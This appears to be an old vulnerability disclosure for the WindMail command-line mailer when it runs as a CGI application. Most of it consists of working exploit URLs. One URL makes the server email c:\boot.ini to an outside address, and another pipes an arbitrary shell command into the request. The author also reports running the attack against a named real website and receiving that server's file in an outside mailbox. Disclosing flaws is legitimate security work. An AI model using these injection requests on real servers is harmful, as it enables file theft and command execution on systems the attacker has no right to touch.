I found some vulnerabilities if windmail run as a CGI 
application.tested On WindowsNT 4.0, Windmail 3.05 
successfully.
WindMail is a 32-bit Windows console program by geocel that 
gives you command-line e-mail messaging capability.
You can download an evaluation copy of WindMail 3.0 at:    
https://www.geocel.com/download/wmail301e.exe                
         
WindMail has a feature that allow Mail HTML form results 
from CGI scripts
I found windmail doesn't check either attachment file or 
special character for parameters, that allow you execute 
arbitrary command which web user can do:
https://xx.com/cgi-bin/WINDMAIL.EXE?%20-n%20c:\boot.ini%
20yourmail@mail.com%20|%20dir%20c:\ 
After the request, windmail will send c:\boot.ini to 
yourmail@mail.com and execute "dir c:\" command.

For example:
https://www.metro.net/cgi-bin/windmail.exe?-n%20c:\boot.ini%
20chinahack@163.net
After a while, check chinahack@163.net, i got a copy of 
boot.ini from www.metro.net
 
pp@cnns.net
https://www.cnns.net